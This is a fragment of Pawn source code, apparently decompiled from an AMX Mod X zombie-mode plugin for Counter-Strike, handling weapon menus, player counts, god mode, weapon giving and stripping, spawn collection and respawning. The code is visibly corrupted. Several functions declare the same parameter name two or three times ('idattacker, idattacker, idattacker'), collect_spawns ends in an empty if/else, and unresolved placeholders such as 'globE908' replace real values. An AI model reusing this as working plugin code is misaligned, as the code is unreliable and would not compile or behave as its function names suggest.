if(get_pcvar_num(human_weapon_nades) == 2)
{
if(get_pcvar_num(human_weapon_hegrenade) + get_pcvar_num(human_weapon_smokegrenade) + get_pcvar_num(human_weapon_hesmgrenade) == 6)
{
if(!is_user_admin(index))
{
return 1;
}
}
}
g_Weap_Repick[index] = 0;
g_Weap_Nade[index] = 0;
g_Weap_Prim[index] = 0;
g_Weap_Sec[index] = 0;
return 0;
}
return 1;
}
stock weapon_menu_check(type)
{
switch(type) {
case 0:
if(get_pcvar_num(human_weapon_shotguns) == 2)
{
if(0 < get_pcvar_num(human_weapon_m3) + get_pcvar_num(human_weapon_xm1014))
{
return 1;
}
}
case 1:
if(get_pcvar_num(human_weapon_smgs) == 2)
{
if(0 < get_pcvar_num(human_weapon_tmp) + get_pcvar_num(human_weapon_mac10) + get_pcvar_num(human_weapon_mp5navy) + get_pcvar_num(human_weapon_p90) + get_pcvar_num(human_weapon_ump45))
{
return 1;
}
}
case 2:
if(get_pcvar_num(human_weapon_rifles) == 2)
{
if(0 < get_pcvar_num(human_weapon_famas) + get_pcvar_num(human_weapon_galil) + get_pcvar_num(human_weapon_ak47) + get_pcvar_num(human_weapon_m4a1) + get_pcvar_num(human_weapon_sg552) + get_pcvar_num(human_weapon_aug))
{
return 1;
}
}
case 3:
if(get_pcvar_num(human_weapon_snipers) == 2)
{
if(0 < get_pcvar_num(human_weapon_scout) + get_pcvar_num(human_weapon_awp))
{
return 1;
}
}
case 4:
if(get_pcvar_num(human_weapon_auto_snipers) == 2)
{
if(0 < get_pcvar_num(human_weapon_sg550) + get_pcvar_num(human_weapon_g3sg1))
{
return 1;
}
}
case 5:
if(get_pcvar_num(human_weapon_pistols) == 2)
{
if(0 < get_pcvar_num(human_weapon_glock18) + get_pcvar_num(human_weapon_usp) + get_pcvar_num(human_weapon_p228) + get_pcvar_num(human_weapon_deagle) + get_pcvar_num(human_weapon_fiveseven) + get_pcvar_num(human_weapon_elite))
{
return 1;
}
}
case 6:
if(get_pcvar_num(human_weapon_nades) == 2)
{
if(0 < get_pcvar_num(human_weapon_hegrenade) + get_pcvar_num(human_weapon_smokegrenade) + get_pcvar_num(human_weapon_hesmgrenade))
{
return 1;
}
}
}
return 0;
}
stock random_alive_player()
{
new var0[32], var1 = 0;
get_players(var0, var1, "a", globE908);
new var2 = var0[random_num(0, var1 - 1)];
return var2;
}
stock alive_zombies()
{
new var0 = 0, var1[32], var2 = 0, var3 = 0;
get_players(var1, var2, "a", globE908);
for(var3 = 0; var3 < var2; var3++)
{
if(g_Zombie[var1[var3]])
{
var0++;
}
}
return var0;
}
stock alive_humans()
{
new var0 = 0, var1[32], var2 = 0, var3 = 0;
get_players(var1, var2, "a", globE908);
for(var3 = 0; var3 < var2; var3++)
{
if(g_Human[var1[var3]])
{
var0++;
}
}
return var0;
}
stock connected_players()
{
new var0 = 0, var1[32], var2 = 0, var3 = 0;
get_players(var1, var2, globE904, globE908);
for(var3 = 0; var3 < var2; var3++)
{
var0++;
}
return var0;
}
stock nominee_zombies()
{
new var0 = 0, var1[32], var2 = 0, var3 = 0;
get_players(var1, var2, globE904, globE908);
for(var3 = 0; var3 < var2; var3++)
{
if(g_ZombieNominee[var1[var3]])
{
var0++;
}
}
return var0;
}
public plugin_cfg()
{
g_MaxClients = global_get(5);
return 0;
}
public player_TakeDamage(idattacker, idattacker, idattacker)
{
if((g_MaxClients >= idattacker) & (1 <= idattacker) && g_GodMode[idattacker])
{
return 4;
}
return 1;
}
stock md_set_user_godmode(godmode, godmode)
{
if(!godmode)
{
g_GodMode[godmode] = 0;
}
else
{
g_GodMode[godmode] = 1;
}
return 1;
}
stock md_get_user_godmode(index)
{
return g_GodMode[index];
}
stock md_give_weapon(weapon, weapon)
{
if(!equal(weapon, "weapon_", 7))
{
return 0;
}
new var0 = engfunc(21);
if(!pev_valid(var0))
{
return 0;
}
dllfunc(1, var0);
if(!ExecuteHamB(20, weapon, var0) || !ExecuteHamB(74, var0, weapon))
{
if(pev_valid(var0))
{
set_pev(var0, 84, pev(var0, 84) & 1073741824);
}
return 0;
}
return 1;
}
stock md_strip_weapon(weapon, weapon)
{
if(!equal(weapon, "weapon_", 7))
{
return 0;
}
new var0 = fm_find_ent_by_owner(1, weapon, weapon, 0);
if(!var0)
{
return 0;
}
new var1 = get_weaponid(weapon);
if(!var1)
{
return 0;
}
new var2 = 0, var3 = get_user_weapon(weapon, var2, var2);
if(var3 == var1)
{
ExecuteHamB(91, var0);
}
if(!ExecuteHamB(21, weapon, var0))
{
return 0;
}
ExecuteHamB(73, var0);
set_pev(weapon, 79, (~(1 << var1)) & pev(weapon, 79));
return 1;
}
stock collect_spawns(classname)
{
new var0 = get_maxplayers(), var1[3];
while(var0 = engfunc(12, var0, 154712, classname))
{
pev(var0, 118, var1);
spawns[spawnCount][0] = var1[0];
spawns[spawnCount][1] = var1[1];
spawns[spawnCount][2] = var1[2];
pev(var0, 124, var1);
spawns[spawnCount][3] = var1[0];
spawns[spawnCount][4] = var1[1];
spawns[spawnCount][5] = var1[2];
spawns[spawnCount][6] = var1[0];
spawns[spawnCount][7] = var1[1];
spawns[spawnCount][8] = var1[2];
spawnCount++;
if(spawnCount >= 512)
{
}
else
{
}
}
return 0;
}
public respawn(id)
{
if(!is_user_connected(id))
{
return 0;
}
new var0 = cs_get_user_team(id, 0);
if(!var0 || var0 == 3)
{
return 0;
}
if(is_user_alive(id) && !pev(id, 100))
{
return 0;
}
fm_cs_user_spawn(id);
set_task(0.5, "check_respawn", id, globD1F0, 0, globD1F4, 0);
set_task(1.5, "check_respawn", id, globD1F0, 0, globD1F4, 0);
return 0;
}
public check_respawn(id)
{
if(!is_user_connected(id))
{
return 0;
}
new var0 = cs_get_user_team(id, 0);
if(!var0 || var0 == 3)
{
return 0;
}
if(pev(id, 100) || !is_user_alive(id))
{
respawn(id);
}
else
{
give_essentials(id);
set_task(0.1, "give_essentials", id, globD1F0, 0, globD1F4, 0);
}
return 0;
}
public give_essentials(id)
{
if(!is_user_alive(id) || pev(id, 100))
{
return 0;
}
fm_set_user_suit(id, 1, 0);
if(!user_has_weapon(id, 29, -1))
{
fm_give_item(id, "weapon_knife");
}
return 0;
}
stock is_user_health_256(index)
{
if(!is_user_alive(index))
{
return 0;
}
new var0 = 0, var1 = get_user_health(index);
new var2 = var1 / 256;
for(var0 = 0; var2 + 2 > var0; var0++)
{
if(var1 == var0 * 256)
{
return 1;
}
}
return 0;
}